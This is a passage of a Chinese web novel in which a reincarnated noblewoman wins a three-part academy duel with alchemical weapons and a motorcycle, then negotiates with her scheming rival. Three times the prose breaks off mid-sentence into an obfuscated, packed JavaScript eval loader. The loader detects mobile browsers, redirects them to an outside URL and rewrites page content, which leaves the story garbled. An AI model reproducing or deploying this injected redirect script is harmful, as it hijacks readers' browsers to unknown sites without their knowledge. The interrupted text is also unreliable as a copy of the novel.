“家人不允许他们在一起，于是他们相约私奔，在这个钟楼见面。” “男孩来了，但等着他的，不是心爱的姑娘，而是敌对家族的刺客。” “他倒在血泊之中，而那个女孩则被嫁给父母安排的未婚夫，出嫁当天，她逃了出来，从这个钟楼纵身一跃。” “艾莉森，你觉得这个故事怎么样？” 他回过头，金绿色的眼睛里看不出情绪，不等艾莉森回答，又再次开口道： “如果是我，我会在钟楼上藏一把弩，看看来的人到底是那姑娘，还是刺客。” “那个瓶子，就是我的弩。” 31. 偏移值：4% 如果说在开学日有什么事比典礼更加重要，必然是当天下午艾莉森.兰卡罗德和卡西恩.布莱克的决斗了。 返校日的第二天，艾莉森便正式向卡西恩递交了战书。 两大家族本就对立，双方又是绯闻中心的男女主角，这消息便如飞舞的柳絮一样，很快传遍了整个校园。 “殿下，艾莉森小姐这样做……会不会太张扬了？” “你我同岁，怎么像个老头似的？” 啥？像个老头？艾文瞪大了眼，不敢相信这话是从王储殿下嘴里说出——明明最少年老成的就是您吧？ 因为克罗纳宫事务冗杂，埃德蒙作为王储，这几天因为陛下筹谋的改革之事忙得脚不沾地，连返校日都错过了。堪堪抵达校园，便听到学生们在谈论那两人决斗的事。 “艾文，不想一起去看看热闹吗？” 埃德蒙的眉宇舒展开来，笑容明媚到差点闪瞎随从的眼。不论是贵族们热衷的猎狐，还是舞会，很少见到他如此兴致盎然。 若非长年累月培养的皇家仪态早已深入骨髓，艾文甚至想要用“雀跃”来形容殿下此刻的神态了。 兰卡罗德小姐对埃德蒙殿下的影响不可谓不大。 怪不得陛下要自己此后“重点观察”那位贵族小姐，随时报告。 等二人到达决斗地点时，学生们早就把训练场围了个水泄不通。 艾文想要挤到前面去，立刻遭遇不少人的冷眼和怒骂，若不是看清他身后跟着埃德蒙，加上贵族学生们都比较文雅，这种强行插队的行为，放在别处，只怕是要被人拖出去打一顿。 幕僚少年不禁感慨：神明在上，他这是顶着半场的怒火，还要被殿下嘲笑老成。 观众席的骚动很快引起了训练场内众人的注意。 “殿下也来了？”赛琳往声音的来源方向看去，一把抓住艾莉森的手臂，差点跳了起来，“真的！艾莉森，我就说殿下一定会来的吧！” 艾莉森转过头，果不其然，正对上埃德蒙的目光。 殿下甚至还笑着对她挥了挥手。 “怎么，看到自己的未婚夫来，兰卡罗德小姐很激动啊。” 卡西恩自然也没有忽视王储殿下，逮到机会，既然是要阴阳怪气一番。 “希望殿下的鼓励能让胜利女神多瞧您一眼，不然输得太难看，我怕殿下迁怒。” “卡西恩队，不，布莱克同学！”赛琳再也忍不了，指着卡西恩的鼻子：“我不知道你和艾莉森之间发生了什么，但这样说话实在是太过分了！” “见证人小姐，我认为你最好能保持公证，否则对你方不利。” 赛琳“哼”了一声，凑到艾莉森耳边： “从今以后，我会无比坚定地支持殿下！” 艾莉森失笑，仿佛紧张的心情也缓解了些，当时向卡西恩提出决斗，的确出于气愤，但经过海蒂的开导，还有之前在钟楼上和卡西恩的谈话，她已经明白了，自己该做什么。 相比始终目标明确的卡西恩，她不能再止步不前。 皇家军事学院有一套自己的“解决学生之间纷争”的流程。 当一名学生向另一人提出决斗的要求，他们需要约定好时间地点，再各自找到见证人——通常是由关系最为亲密的朋友担任，此后，进行三场比试，通常是剑术、射术和骑术，取得其中两场胜利的人则被判为赢家。 这个过程，脱胎于贵族决斗的形式，既能避□□血纷争，又能给双方一个相对公平的竞技环境，同时还能给全校师生找点乐子—— 但正如学院的所有打着“公平”旗号的事情一样，要参加这样的决斗，至少需要学生能负担得起自己的远程/近程武器和坐骑，尤其是坐骑——饲养纯种马匹的费用，对于平民来说，几乎是个完全不可能的数字。 因此，决斗双方，乃至见证人都大多数贵族。 艾莉森选择赛琳作为她的见证人，已算是特例；但更让她们意外的，却是卡西恩的见证人。 ——安吉洛.维吉尔。 曾经在实战演习中被他们击败的，卡洛的侦察小队队长。 赛琳没有见过他被卡西恩喂泥巴的场景，艾莉森却印象深刻。 此刻他全没有了当时大骂卡西恩“配不上布莱克家的血统”的嚣张气焰，反而鞍前马后地跟在卡西恩身旁，极尽讨好之能事。 所以说，这个人也是卡西恩的“弩”吗？ 艾莉森记起此前在钟塔上和卡西恩的谈话。 “之前的事情，你要我道歉也好，解释也好，我都无所谓。” “我不在意过程，重要的是结果。荣誉，道德，感情，都是束缚弱小者的枷锁——真正的强者，布局，狩猎，收割，如此而已。” “在共同的利害关系下，并没有永远的敌人和朋友。” “我的目的只有一个——掌握布莱克家。” 安吉洛从前怎么辱骂卡西恩，对他来说并不重要。重要的是，这可以让他进一步打击卡洛从前的追随者。 “时间到了，开始我们的第一场吧，兰卡罗德小姐。” 卡西恩将自己的佩剑扔给赛琳，道：“好好检查，罗德里克。” “嘘——” 他轻慢的态度立刻引起了平民学生们的不满，就连有些贵族学生也觉得这样对女士过于无礼，但卡西恩却满不在乎，双手环胸，等待检查结束。 “经我确认，此剑完好。” 赛琳忍下委屈和怒气，直视着他，将佩剑双手交还。 同样的，安吉洛也检查了艾莉森的佩剑。 决斗的第一场比赛开始。 艾莉森并不像很多人想象中那么弱，问题在于—— 卡西恩太强了。 在同级学生中，他的剑术可谓无人能望其项背。 他总是能在电光石火间，如同具有预知能力一样，准确地判断出对手的下一个动作，不论是格挡的时机，还是闪躲的方向，然后，予以优雅而致命的打击。 “殿下，兰卡罗德小姐完全是被压着打啊。”观众席上，艾文几乎看不下去了。 “哪怕是军部的凯恩中尉，或者雷蒙德上校，对上他，估计也难有必胜的把握。” 埃德蒙目不转睛地看着场内二人的打斗“卡西恩的确是可造之才，军部恐怕早就有人在注意他了。” “此人必须站在我们这一边。否则……” 艾文自然明白，埃德蒙这句话中隐藏的意思。 “可他现在应该是公爵看中的人。” “不一定，卡洛尚未完全失势——” 埃德蒙话音未落，观众席中已有人惊呼出声—— 卡西恩逼退艾莉森的攻击，手腕微转，剑身划出冷光。她尚未来得及调整中心，武器已被挑飞。 剑尖停在她咽喉前。 胜负已分。 贵族学生们爆发出一阵欢呼。 “果然，决斗场上可不能靠着兰卡罗德家的名头耍威风。” “唉，布莱克家那个贵族小子确实令人讨厌，但兰卡罗德小姐这完全是被打得没有招架的能力嘛——” “都是贵族，谁赢谁输不也一样，看个热闹而已。” “可怜赛琳，她脸都白了……” “第一局，卡西恩.布莱克胜！” 赛琳听见自己的心砰砰直跳，手掌里全是汗水，她知道自己并不聪明，不懂为什么卡西恩突然转变态度，也不懂艾莉森为什么非要和他决斗，但有一点她很肯定。 卡西恩很帅，卡西恩很厉害，卡西恩是那种明明看起来很可怕，却又光芒四射，让人忍不住想要靠近的人。 但是艾莉森却会和自己一起吃小饼干，为糟糕的成绩焦头烂额，为那些失去亲人的穷困者伤心。 ——她希望艾莉森能赢。 第二局比试，开始。 阿尔特蒂亚的贵族军事教育中，射术仍旧作为重要课程存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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比她之前的那把，这把同样镶嵌了高纯度魔晶石，但结构上更接近前世曾在资料里看过的二战时期军官手枪，用于近距离自卫或应急使用，功能单一，但换弹快，射速远超火枪，完全为实战节奏定做。 在握把尾部，延伸出一枚可旋的微调轮盘，刻有细小的数字和符号。 艾莉森举起枪来，忽视掉观众席中隐约的嘲笑声，调整呼吸，目光落在卡西恩留下的弹孔上。 扳机扣下。 第一发，子弹落在红圈的边缘。 就在观众尚未反应过来之前，她射出了第二发，留下的弹孔，更加接近红圈的中心。 “什么？怎么可能？” “这也太快了！” 最后一枪。 艾莉森的手指轻轻碰触枪尾的旋钮，魔晶核心轻微震动，声细如蚊。她闭上一只眼睛，看向一条并不存在的线。 她在估算卡西恩的弹道——前两抢，她已经大致测试了弹孔的位置和角度，调整好了偏移路线。 机会只剩一次，但值得赌一赌。 枪声响起。 靶心上依旧只有五个弹孔。 “脱靶了？”观众席上，艾文急切地想要看清艾结果。 埃德蒙也站了起来，身体前倾，眉头紧蹙。 “不对，你仔细看——” “她打进了卡西恩的弹孔里。” 观众席中鸦雀无声。 所有人都在思考同一个问题： 她是怎么做到的，这怎么可能？ 即便就评分而言，两人相差无几，但在这么短的时间内，连射三发，一枪比一枪更加精准—— 这还是人类吗？ 埃德蒙坐了下来，他的脸上，再没有那种温和的，仿佛面具一样的笑容。 艾文极少在他脸上看见这样的神情，专注，明亮，甚至带着几分兴奋。 那一刻，他像极了索菲亚陛下。 “……是炼金科技的力量。” 值得下注的力量。 32. 偏移值： 4% 古怪的音乐大声喧哗着，大厅里摆放着五花八门的金属盒子，大人和小孩们坐在前面握着枪，有的会喷水，有些则会射出球，把盒子里的怪物打倒。 有人把她拉到了其中一个盒子前，和那种打怪物的不同，它的前方摆放着一台带两个轮子的机器，前方有根横杠，中间则有刚好能坐下一名成人的坐垫。 她跨坐上去，双手握住横杠，盒子的正面有张发光的画，写着奇怪的文字。 巨大的轰鸣声自脚下传来，那台机器仿佛带着她冲进了画里，如风般疾驰着。 这是艾莉森前世的记忆碎片。 那是个光怪陆离又异常美好的世界，常常让艾莉森怀疑，只是她的幻想。 她还记得最初看见“命运”时的恐惧和愤怒，但随着时间流逝，却显得越发模糊和荒谬起来。 渐渐的，艾莉森不再记得过去的名字，过去的父母，过去的朋友，只有那些碎片一样的画面和信息，时不时出现在梦中。 无法去验证命运。 她进入了皇家军事学院，结识了赛琳，在那个初遇的地点邂逅了卡西恩，但未来究竟会怎么样？ 艾莉森并不知道。 此刻，她站在训练场上，整个世界突然显得有些遥远。 赛琳似乎在跟她说着什么，但她没有听进去，只有胸腔中心脏跳动的声音无比真切。 她在等待。 这是最后一场比试了。 方才的第二场比赛，两人命中靶心的次数相同，评分一样，但明眼人都能看出，无论是射速，还是准确度，艾莉森都在卡西恩之上。 以她平时的射击成绩，唯一能够解释的，便只有那把被炼金科技改造过的枪了。 战马的嘶鸣声吸引了观众们的注意。 这是匹年轻的黑马，体格修长，肌肉紧实。它轻踏前蹄，甩着头，鼻子一张一阖喘着粗气，在马夫手里，显得有几分躁动。 “暗影，安静点。”卡西恩接过缰绳，轻轻抚摸它的鬃毛，眼里有几分难得的温柔。 见到主人，战马安静了些，用鼻子蹭着卡西恩的手掌。 “兰卡罗德小姐，你的坐骑呢？” “还没来。” 训练场旁的马厩里空荡荡的，没有别的马匹了。 兰卡罗德家向来有悠久的军事传统，不论是威廉公爵本人，还是他的长子次子，在骑术上皆是出类拔萃。 “雷鸣”，“黑骨”，这些响当当的名字，更是在阿尔特蒂亚历史上立下赫赫功勋的传奇战马。 兰卡罗德小姐的坐骑，会是怎样的骏马呢？ “抱歉抱歉！来晚了！” 正在观众们翘首以待的时候，一个瘦高的青年闯进了训练场，他背着个大麻布包，头发凌乱，看起来有些邋遢。他翻过栅栏，小跑着奔到艾莉森身边，一边抹着汗，一边喘着气道： “调试花了些时间。不过老大说了，这也是为了您的安全。” 艾莉森还未答话，安吉洛手一挥，猛地上前一步，喝止道： “只有对决双方及见证人才能进入此地，你是谁！” 瘦高个愣了愣，连忙咳嗽一声，清清嗓子： “我是尤里.弗洛，炼金研究院一级学徒，也是这个学期……” 他故意顿了顿，难掩脸上得意的神情： “——贵校的特聘教师。” 安吉洛万万没料到，这个忽然闯入的怪人居然是老师，但他向来自恃身份，于是怒斥道： “谁知道你是不是冒充的，更何况，就算是老师，也无权干涉神圣的决斗！” 他转向艾莉森，皱眉质问道：“兰卡罗德小姐，为何让无关人员闯入？” “他不是无关人员。”艾莉森并没有将他的怒火放在眼里，往尤里进来的方向指了指。 众人这才发现，训练场的入口处，放着一个—— ……东西。 没有人知道该怎么称呼“它”，包括埃德蒙和卡西恩在内。 “它”不是活物，全身由铭刻了魔法符文的金属铸造，论个头，比卡西恩的战马矮了不少，即便是艾莉森这样的少女，也可以轻易跨坐到类似鞍具的坐垫上，不需要蹬鞍。 这件造物的前后各安装了一个轮子，却不似马车的木轮胎，而是极厚重的皮革，上面刻有复杂的魔纹。 坐垫下方，管道和齿轮结构穿插交错，包裹着一个中等大小的金属盒子，魔力的波动透过符文流淌着，镶嵌着炼金科技的核心——魔晶石。 “这就是我的坐骑。”艾莉森走到“它”旁边，拍了拍坐垫，“我叫它‘摩托’，费洛老师则是帮助调试的技师。” 在得知她要和卡西恩决斗，海蒂向她展示这台原型机的时候，艾莉森竟突然有种流泪的冲动。 她学过的那些知识，那些理念—— 他们显得那么的不合时宜，此刻却换了个形态，出现在她的面前。 仿佛在告诉她：你所见过的文明，不是梦。 “你愿意试试吗，做第一个骑上它的人？” “‘摩托’？好奇怪的名字，不过我挺喜欢的。就叫摩托吧，炼金摩托。” “艾莉森，我们一起改变时代吧。” 用这车轮碾碎它吧，连带着那些黑暗中的悲鸣，那些不公和愤怒，将这所谓的“命中注定”，通通压成齑粉。 训练场中，一片哗然。 在大部分贵族眼里，炼金科技依旧是不入流的破铜烂铁，是无法拥有魔血的人，因为嫉妒才创造出来的赝品。 有人暗自讥讽，这位“草包千金”知不知道自己到底在做什么？ 用一个金属疙瘩，和布莱克家的公子比赛骑术？ 聪明些的，则把视线转向前排观战的埃德蒙殿下，试图从他的反应里解读出某些信息。 然而王储殿下似乎也对眼前这幕毫不知情，只是颇有兴趣地关注着场内少女的一举一动。 “‘技师’？前所未闻！”安吉洛将手一挥，作势便要把尤里赶出去。 但艾莉森却拦在他前面，瞥了眼卡西恩的马夫，道：“我的‘马’也需要维护，有问题吗？” 把学院的老师和马夫相提并论？ 但当事人却毫不在意，甚至向那目瞪口呆的马夫挥了挥手，笑着打了个招呼。 “兰卡罗德小姐，这没有先例！” 安吉洛被她的态度气坏了，他几乎忘记了作为绅士该有的风度，近乎尖叫着对艾莉森吼到。 艾莉森哼了一声，侧着头，单手支着下巴，湛蓝的眼睛微微眯起，“既然没有先例，便不算破坏规则。还是说——” 她直勾勾地看向卡西恩，“比都还没比，就想用这招逼我认输吗？这可不像你啊，卡西恩。” “退下吧，安吉洛.维吉尔。”卡西恩走上前，在艾莉森身前一步处站定，“你真的勾起我的好奇心了，大小姐。” 他做了个“请”的手势，笑道：“那就让我们开始吧。” 但尤里却打断了他。 “请等一下。艾莉森小姐，麻烦戴上这个——” 他从包里取出一个像是头盔的东西，递给艾莉森，像是担心她不接受似的，又补充道：“这是安全流程，虽然外观上可能……” 艾莉森却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826050|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么意见，乖乖地戴上了。 “哈哈哈哈哈哈——” “天呐，那是什么？一个锅盖？！” 就卡西恩，似乎都在用一种看傻子般的眼神端详自己。 贵族观众们爆笑出声，就连许多观战的平民学生也是忍俊不禁。 艾莉森有些无奈，其实，她很佩服海蒂的前瞻性，这副头盔很符合她前世记忆里看到的军用头盔的造型，但对阿尔特蒂亚的贵族们来说，还是有些太超前了。 要说把握，其实她自己也没有太大。时间太短了，她仅仅能掌握最基本的驾驶技术 她深吸一口气，稳住自己的姿势。 “笑够了吗，可以开始了。” 她朝一旁的见证人赛琳示意，随即发动了摩托。 蓝色光脉在金属骨架中奔流，随着最后一道符文闭合，像是唤醒了沉睡的野兽。 暗影不愧是受过良好训练的战马，并没有被轰鸣声吓倒—— 然而，从比赛真正开始到结束，不过是极短的过程。 它甚至没有跑满一圈，卡西恩已经拉住了缰绳，让它停了下来。 没有意义。 任何马匹，任何魔法—— 谁能够追逐风呢？ 在绝对的，压倒性的力量面前，任何语言都是苍白的。 人们只能看着那台方才还被他们取笑的“摩托”，以难以置信的速度从他们眼前疾驰而过。他们开始去思考一个问题： 如果这件炼金造物出现在战场上，会是什么样的情形？ 紧接而来的，是更深的一种恐惧—— 所有人都知道，兰卡罗德小姐没有魔力，连最基本的魔力测试都无法通过。 论个人能力，更是远远不及卡西恩.布莱克。 但依靠炼金科技，她轻易地取得了第二局平局，在第三局，更是完全碾压了布莱克家的战马。 这样的力量对阿尔特蒂亚的未来，意味着什么？ 一片寂静中，某个声音突然响起—— “这是作弊！” 像是一粒石子落入湖面，激起了层层涟漪。 “没错，这是作弊！” “根本就不能算赢！” “可耻！” 越来越多的贵族学生们加入了声讨，他们站起来，大声地向艾莉森宣泄着不满。 “决斗需要自带武器和坐骑，她违反哪条了？！” 说话的是弗兰克。他话音方落，立刻便有别的平民学生站起来，大声附和： “就是，规矩是你们这些贵族定的，如今兰卡罗德赢了，却要耍赖吗？！” “殿下，恐怕需要……”艾文看向身后情绪越发激动的贵族学生们，低声对埃德蒙说。 “再等等。” 这是意料之中的事，动用王室力量固然能在今天压下双方的矛盾，但随着未来炼金科技在皇家军事学院，乃至在整个阿尔特蒂亚的军事体系中运用，难道能一直这么做吗？ 训练场内，艾莉森停下摩托，摘下头盔，走向卡西恩。 人们暂时停止了争吵，无数双眼睛看向他们。 “我输了。”卡西恩的声音里听不出悲喜，他平静地看着艾莉森，陈述着一个简单不过的事实。 “但我没有输给你，兰卡罗德小姐，我是输给了炼金科技。” 他望向观众席，贵族们的嘘声也好，怒骂也好，似乎都和他无关。 “你的选择，会让这个帝国走向毁灭。” 卡西恩牵着暗影，从她身侧走过，用极低的声音说： “——而那正是我期望的。” 33. 偏移值：4.5% “你很得意吧？全场都在叫你的名字。” “感觉确实不错。” “一年以前他们还把我当成猪狗不如的贱种，如今却把我当作英雄，没有比这更好笑的了。” 黑发少年靠坐在钟楼的窗台上，双手支在身后。夜色已深，白天喧闹的校园此刻沉寂下来，月光为卡西恩修长的身形镶嵌了一道银边，风抚过他的黑发，他微微眯起了眼，白天那种尖锐的气质似乎消失了。 此刻如果有第三人在场，定会大吃一惊。 因为此刻站在他对面的，正是之前还在训练场中与他剑拔弩张的对手——艾莉森.兰卡罗德。 这是他们的第二次密会，于之前相比，气氛反而轻松了不少。 毕竟，他们都达成了自己的目的。 即便输了，卡西恩在贵族学生中的声望也如日中天，尤其相当一部分人还认为艾莉森胜得不够光彩，给足了他同情分。 比较离谱的，有说艾莉森玩弄卡西恩感情，导致两人反目成仇，但卡西恩对她旧情未了明显放水的。 但更多的人，却注意到了大放异彩的炼金科技，不论是保守派还是激进分子，都清楚地意识到一件事—— 皇家军事学院，乃至整个阿尔特蒂亚，要变天了。 炼金科技的华丽首秀，正是艾莉森所要的效果。 唯一的问题在于： “……赛琳，弗兰克，还有维克多，他们都很生气。” 平民学生大多支持艾莉森，但实战演练小分队众人的怒气，却是冲着卡西恩。 只是艾莉森也难免心虚，总觉得自己也背叛了朋友似的。 如果他们知道这只是自己和卡西恩联手演戏，会不会把矛头转向自己？ “短时间内，恐怕我都得扮演那个讨人厌的角色了。”卡西恩无所谓地耸了耸肩，“没什么不好。” 像是看出了她心中所想，他斟酌了片刻，又补了一句： “我不是他们想象中的那个可靠的‘队长’。你最好也早点习惯，兰卡罗德小姐。” 艾莉森看不清他的神色，却明白他话里隐藏的意义： 新旧交替之时，他们这些平民朋友的处境只怕会更加危险，适度保持距离，也许才是正确的处理方式。 尤其是赛琳，她体质特殊，又和艾莉森走得近，如果有太多的目光注意到她，恐怕真不是什么好事。 然而，命运真的会因为她主动远离放过赛琳吗？ 艾莉森不知道。 作为《阿尔特蒂亚传奇》女主的赛琳，和作为《军神独宠恶役千金》女主的自己，她们的命运，似乎都和眼前这个少年有着脱不开的关系。 然而，艾莉森至少明白一件事。 她并不想像原书一样去“投靠”卡西恩。 这个人表现出来的一切，都像是迷惑人心的假象，或许其中并非没有真情，但和他的野心相比，一旦上了当，对着你的，恐怕就是那寒光闪闪的“弩”。 她已经犯过一次错误了，不应该重蹈覆辙。 艾莉森握紧拳头。 卡西恩似乎也不愿再继续这个话题，他转过身，冲艾莉森笑道： “赢得真是漂亮，兰卡罗德小姐。那个‘摩托’，什么时候也借我玩玩——它应该不像暗影那样认主吧。” 当年他为了驯服那匹黑马，可是费了不少功夫。 “不真诚的人坐上去，会散架。” 艾莉森存心刺他一下，哪怕是演戏，这人的态度还是令人生气。 他演起那种遭人恨的反派角色，当真是格外合适。 卡西恩挑起眉毛，“真的假的？” “谁知道呢？”艾莉森耸了耸肩。 “哈，”卡西恩的目光落向窗外，视线尽头的克罗纳宫依旧灯火通明，象征着不灭的王权，“‘真诚’只会让你在权力的游戏里死得更快，不如去问问你那位未婚夫，他是否具备这种品质？” “我无意和您争论殿下的品行。说正事吧，卡西恩——这次决斗的结果，贵族们恐怕不会认可。”她冷笑一声，“其实也无所谓，但这些人别的本事没有，闹起来却也麻烦。” 卡西恩用一种十分古怪的眼神看着她。 什么时候，她开始用“您”来称呼自己了？ “兰卡罗德小姐，‘您’该不会忘记，自己也是贵族了吧？” “那又如何？我从不觉得依靠族荫，不事生产是什么值得骄傲的事。更何况，在他们眼里，我是个被社交界流放，也没有魔血的失败者。”她拨了拨自己的卷发，像是想起了什么有趣的事，唇角微微勾了起来。 她平时总是有些严肃，常让人觉得浪费了明艳的容貌，此刻的笑容，与其说是温柔，倒不如说像是带刺的蔷薇。 “‘贵族’的标准有多么的‘灵活’，‘您’应该比我更清楚。” “那么，需要我做什么呢？”卡西恩没有赞成，也没有反对，似笑非笑，依旧是那副无所谓的样子，等待着她的下文。 艾莉森不喜欢他这样的表情，总感觉他藏着什么陷阱或阴谋，等着她上套。 如果问起卡西恩，他一定会说：“我天生就长这样。” 果然，好讨厌谜语人啊——跟这些家伙相处久了，连自己都学起那副拿腔拿调的怪样，跟他们一样绕起圈子来。 “布莱克公子现在可是那些贵族们期待的，能够扛起抵抗兰卡罗德破铜烂铁大旗的领军人物，如果您能表态，认为真正的贵族风范是接受对方的强大……您的追随者们也许会少妨碍我一些。” “可以。” 卡西恩答应得非常干脆，但正如艾莉森所预料的那样，他还有下一句： “炼金科技的成果分享，作为交换。” “您这买卖也太划算了些。” 艾莉森皱着眉头，这人当她傻了吗？他一句话的事，就想换最新的技术成果？ “这么精打细算？您是想做埃德蒙殿下的王妃，还是他的财政大臣？”卡西恩调侃道，“不管是哪种，都挺可惜的。” 她的头发很漂亮，月光下显出半透明般的质感，和白天在训练场上飞扬着，如同火焰般的亮金色又不一样。 卡西恩突然很想伸手摸一摸她的发丝，想象她会做出什么样的反应。 会害羞呢？还是会生气吗？ 艾莉森当然不会知道卡西恩复杂的心理活动，没好气地说：“别转移话题。” “兰卡罗德小姐，既然您如此认真，我也就直说了——您展示的载具也好，武器也好，都只是个例，未来这些东西能发展成什么样，谁也说不清楚。” 卡西恩当然知道炼金科技的价值，但谈判这种事情，当然得挑个对自己有利的点。 更何况，冲她那翻得极其明显的白眼，若不礼尚往来，给她设置点障碍，未免有点无趣了。 艾莉森皱起眉头，这种杀价不成，开始挑刺的手段，他还好意思说自己精打细算？ “您要是不愿意，倒也无所谓。” “有些东西一旦出现，无论遭到怎样的反对，都会如车轮般滚滚前进，不过是时间早晚得问题。” “但对个人来说，错过的机会可就不会再回来了。” 卡西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826051|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩看着她，仿佛在衡量她说的话有几分可信度：“您对炼金科技相当有信心。” 艾莉森笑道：“这是向您学习，自信是好事，不是吗？” 卡西恩脸上似有赞许之色，唇角牵起一个有些狡黠的弧度： “我再送您一个消息，以表诚意——卡洛最近似乎有些动作。” 卡洛？ 布莱克家“正统”的继承人，卡西恩同父异母的兄弟。 曾经他是校园中的风云人物，但霜雪节过后，所有人似乎都有默契地不再提及他的存在。 “有人告诉我，他最近似乎去过几次黑巷。”卡西恩用指头轻轻点了点自己的额头，“还记得吗？猫头鹰失踪前，最后见的人就是他。” 艾莉森打断他：“您在暗示我，他参与了布莱克家和诺森德的交易？” 卡西恩打了个响指：“和聪明人说话就是轻松。” 翻白眼已经不足以表达艾莉森的心情，这人是把她当傻子吗？ 她冷笑一声：“如果我没记错，您之前就是因为这件事对我动上了手。” “您记错了。” 艾莉森转身就要走。 那个没心没肺的混蛋却笑出了声，随后伸出手拦住她的去路。 她斜眼看他，认真思考着给他漂亮的脸蛋来上一巴掌，是不是能够成为明日皇家军事学院的八卦头条。 “不管您信不信，那时候发现您有准备，我很高兴，这证明我没看错人。” 自恋狂，呸！ “所以呢？您上个月还不让我查这件事，现在说改就改——看来说您是毒蛇家族的成员还是屈才了，应当叫您变色龙。” 卡西恩没有放她走的意思。 “这只是个消息，价值几何，后续查还是不查，都是您的选择，就像您说的，机会不等人。至于理由，等您愿意以‘你’来称呼我的时候，再告诉您如何？” 这让艾莉森十分恼火，他这是咬定了自己一定会去追查卡洛的事吗？ 她的大脑飞速转动着，试图找到卡西恩态度改变的原因，半晌，艾莉森弯起眉眼，挤出个堪称甜美的笑容： “这么复杂的事，本小姐搞不懂——我看我还是去找殿下商量吧。” 卡西恩的表情僵住了，金绿色的眼睛微微眯起。 “你认真的？” 他一时间居然忘记了敬称。 “不然呢？皇室的情报机构，自然是比我自己去查来得容易。”艾莉森毫不畏惧地看着他，“我想看看自己的运气到底如何，能不能从您这里再活下来一次。” 卡西恩的反应让艾莉森确认了自己的猜测。 问题不在“布莱克家与诺森德尔交易了什么”，而在于“皇室是否会参与调查”，上一次，也是在她说出要告知埃德蒙后，卡西恩才骤然出手。 他不惜冒着与兰卡罗德家为敌的风险，也有某些不能让皇室知晓的秘密。 会是什么呢？ 艾莉森尚未确定答案，只听见卡西恩冷声笑道： “好胆色啊，兰卡罗德小姐，您在试探我？” “啪”的一声，卡西恩另一只手猛地撑住石墙，将艾莉森困在自己和墙壁之间，居高临下地看着她，金绿色的瞳孔危险地眯起。 他靠得太近了，鸦羽般的睫毛近在眼前，艾莉森甚至能感到他呼吸的热度。 心脏不受控制似地跳动着。 紧张，兴奋，以及一丝占据主动权的快意。 “怎么，恼羞成怒了？”她扬起头，“我想做的事情一定能做成，但我的合作对象却不一定是你，卡西恩。” 34. 偏移值：4.5% 卡洛.布莱克。 他本该是皇家禁卫队下一任的队长，但他甚至没有出现在三年级生的毕业典礼上。 代表毕业生发言的是伊萨克.费尔南迪，他穿着白色的军礼服，校长亲自为他别上少尉军衔，费尔南迪接过纯金的仪式剑，志得意满。 艾文用崇拜的眼神看着自己的哥哥，费尔南迪侯爵夫妇坐在台下，眼里写满了骄傲。 卡西恩作为在校生代表，将一大束鲜花送到他手上。 “恭喜前辈毕业。” “卡洛没有来吗？” 伊萨克接过花束，状似无意地问道。 “霜雪节过后，家兄身体一直抱恙。” 他和卡洛在外貌上的确很像，布莱克家标志性的黑发和立体修长的轮廓，只是眼睛的颜色不同。 卡西恩的笑容真诚而不失谦逊，怎么看都是一位优秀的后辈。 伊萨克没有再多说什么，只是从卡西恩身边走过的时候，用极低的声音道： “以后恐怕，都见不到他了吧。” 先是兰卡罗德家的慈善舞会，现在又是毕业典礼，不只是伊萨克，所有人都心照不宣地默认了这个事实。 布莱克家的“次子”，越来越多地出现在各种正式场合。 卡洛是真的在“养病”吗？还是说有什么内情？ 但相比皇太子，兰卡罗德大小姐和布莱克家这位新贵之间跌宕起伏的感情八卦，一个已经失势的“继承人”的近况，似乎远远没有那么有吸引力。 艾莉森其实并没有真正见过卡洛，即便是在实战演练中，也只是远远地望了一眼，他只存在于别人的转述中。 最令她印象深刻的，是他们抓住了安吉洛，他辱骂卡西恩配不上布莱克家血统时，卡西恩提到自己“兄长”，那仇恨的眼神。 就连艾莉森和他相遇的时候，卡西恩也是在和卡洛派来找茬的高年级生打架。 他在沃尔晶矿提过自己的身世，虽然当时多半是为了博取自己的同情，且有所隐瞒，但其中的主要内容，大概率也是真的。 卡西恩身具卡洛没有的魔血，还掌握了强大的心灵魔法。 想也知道，卡洛绝不可能对他有什么友善的表现。 艾莉森的家庭称不上完美，父母分居已久，然而凯恩向来对她照顾有加，远在锡兰的大哥，还会时不时托人寄来些稀罕玩意送给妹妹。 布莱克家族却是出了名的亲情淡漠。 对卡西恩来说，他的“兄弟”，是必须消除的的障碍。 艾莉森想起前几天他在钟楼上说的话： “兰卡罗德小姐，我想借你之手，除掉卡洛。” “您的确可以选择想要的合作对象，但多一个朋友总比多一个敌人好，尤其是，这个朋友还是布莱克家。” 卡西恩站在背光处，脸隐没在阴影之下，金绿色的眼睛有着危险的气息。 “还记得吗？我说过会为您和公爵大人献上红宝石双头蛇的桂冠，这个承诺，至今有效。” 彼时，艾莉森尚不知道这句话中的分量，而今她亲眼所见，卡西恩正在一步步，迈向布莱克家最重要的那个位置。 而自己，正在成为他的同谋——以不同于原著的方式。 毕业典礼后，艾莉森没有回宿舍。 没有告诉任何人，也没有叫马车，她的长靴踏过青石板的路面，试图将思路理顺。 她并不希望维系和埃德蒙殿下的婚约，尽管殿下的确对她照顾有加。 